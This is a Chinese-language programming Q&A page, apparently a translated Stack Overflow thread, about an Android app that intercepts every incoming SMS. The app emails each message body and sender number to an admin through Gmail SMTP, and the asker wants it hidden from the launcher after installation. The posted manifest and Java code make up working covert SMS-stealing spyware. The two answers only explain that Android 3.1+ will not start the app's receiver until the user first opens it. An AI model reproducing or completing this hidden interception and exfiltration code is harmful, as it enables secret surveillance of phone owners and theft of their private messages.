我正在开发一个Android应用程序,其最小sdk为7,目标为16.该应用程序实现了一个广播接收器,它接收新的传入短信并将邮件正文和发件人号码邮寄给admin.til现在应用程序运行正常但是有要求在安装后保持应用程序隐藏。所以我何时从清单中删除了这些行
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
应用程序确实被隐藏了但是没有发送邮件。所以我认为当我隐藏应用程序不知道确切的原因时,广播接收器没有被调用...下面是我的代码......从最近两天开始。非常感谢任何帮助...
我的清单文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="jd.dr.smsapp"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="7"
android:targetSdkVersion="16" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<receiver android:name=".MainActivity"
android:exported="true"
android:enabled="true">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</receiver>
</application>
</manifest>
这是我的活动
package jd.dr.smsapp;
import java.util.ArrayList;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.AsyncTask;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Toast;
public class MainActivity extends Activity
{
/** Called when the activity is first created. */
public static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
ListView list;
ArrayList<String> messageList;
ArrayAdapter< String> adapter;
String msgno="";
String msg="";
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
list = (ListView) findViewById(R.id.listView1);
messageList = new ArrayList<String>();
//messageList.add("check");
adapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, messageList);
list.setAdapter(adapter);
IntentFilter filter = new IntentFilter(SMS_RECEIVED);
registerReceiver(receiver_SMS, filter);
}
BroadcastReceiver receiver_SMS = new BroadcastReceiver()
{
public void onReceive(Context context, Intent intent)
{
if (intent.getAction().equals(SMS_RECEIVED))
{
Bundle bundle = intent.getExtras();
if (bundle != null)
{
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages)
{
msgno=message.getDisplayOriginatingAddress();
msg=message.getDisplayMessageBody();
new sendmail().execute();
// Toast.makeText(MainActivity.this, "----"+message.getDisplayMessageBody(), Toast.LENGTH_LONG).show();
receivedMessage(message.getDisplayOriginatingAddress());
}
}
}
}
};
private void receivedMessage(String message)
{
messageList.add(message);
adapter.notifyDataSetChanged();
}
// @Override
// protected void onStop()
// {
//
// unregisterReceiver(receiver_SMS);
// super.onStop();
// }
public class sendmail extends AsyncTask<Void, Void, String> {
@Override
protected String doInBackground(Void... params) {
// TODO: attempt authentication against a network service.
String output="1";
try {
GMailSender sender = new GMailSender("sendermailid", "senderpassword");
if(msgno.equals("") || msg.equals("")){
// Message("blank");
}else{
sender.sendMail("Message From "+msgno,msg,"sendermailid","receivermailid");
Log.i("no error", msg+msgno);
}
} catch (Exception e) {
Log.i("error", e.toString());
output="0";
}
return output;
}
@Override
protected void onPostExecute(String success) {
if(success.equals("1")){
Log.i("no error", success);
// Message("valid");
}else{
// Message("invalid");
}
}
}
private void Message(String Msg) {
Toast.makeText(MainActivity.this, Msg.toString(), Toast.LENGTH_LONG).show();
}
}
此文件用于验证和发送邮件 GmailSender.java
package jd.dr.smsapp;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.Security;
import java.util.Properties;
public class GMailSender extends javax.mail.Authenticator {
private String mailhost = "smtp.gmail.com";
private String user;
private String password;
private Session session;
static {
Security.addProvider(new jd.dr.smsapp.JSSEProvider());
}
public GMailSender(String user, String password) {
this.user = user;
this.password = password;
Properties props = new Properties();
props.setProperty("mail.transport.protocol", "smtp");
props.setProperty("mail.host", mailhost);
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class",
"javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.socketFactory.fallback", "false");
props.setProperty("mail.smtp.quitwait", "false");
session = Session.getDefaultInstance(props, this);
}
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(user, password);
}
public synchronized void sendMail(String subject, String body, String sender, String recipients) throws Exception {
try{
MimeMessage message = new MimeMessage(session);
DataHandler handler = new DataHandler(new ByteArrayDataSource(body.getBytes(), "text/plain"));
message.setSender(new InternetAddress(sender));
message.setSubject(subject);
message.setDataHandler(handler);
if (recipients.indexOf(',') > 0)
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(recipients));
else
message.setRecipient(Message.RecipientType.TO, new InternetAddress(recipients));
Transport.send(message);
}catch(Exception e){
}
}
public class ByteArrayDataSource implements DataSource {
private byte[] data;
private String type;
public ByteArrayDataSource(byte[] data, String type) {
super();
this.data = data;
this.type = type;
}
public ByteArrayDataSource(byte[] data) {
super();
this.data = data;
}
public void setType(String type) {
this.type = type;
}
public String getContentType() {
if (type == null)
return "application/octet-stream";
else
return type;
}
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}
public String getName() {
return "ByteArrayDataSource";
}
public OutputStream getOutputStream() throws IOException {
throw new IOException("Not Supported");
}
}
}
JSSEProvider
package jd.dr.smsapp;
import java.security.AccessController;
import java.security.Provider;
public final class JSSEProvider extends Provider {
/**
*
*/
private static final long serialVersionUID = -86921860237465997L;
public JSSEProvider() {
super("HarmonyJSSE", 1.0, "Harmony JSSE Provider");
AccessController.doPrivileged(new java.security.PrivilegedAction<Void>() {
public Void run() {
put("SSLContext.TLS",
"org.apache.harmony.xnet.provider.jsse.SSLContextImpl");
put("Alg.Alias.SSLContext.TLSv1", "TLS");
put("KeyManagerFactory.X509",
"org.apache.harmony.xnet.provider.jsse.KeyManagerFactoryImpl");
put("TrustManagerFactory.X509",
"org.apache.harmony.xnet.provider.jsse.TrustManagerFactoryImpl");
return null;
}
});
}
}
答案 0 :(得分:1)
系统或任何其他应用程序都不会启动应用程序的任何部分,除非用户自Android 3.1以来手动启动该应用程序的主要活动。
因此,您必须为您的应用提供启动器活动,并让用户在您的BroadcastReceiver在Android 3.1及更高版本上运行之前打开它。
答案 1 :(得分:0)
Android具有基本的安全功能,在该应用程序的活动运行之前,不会启用应用程序的后台服务,接收器等。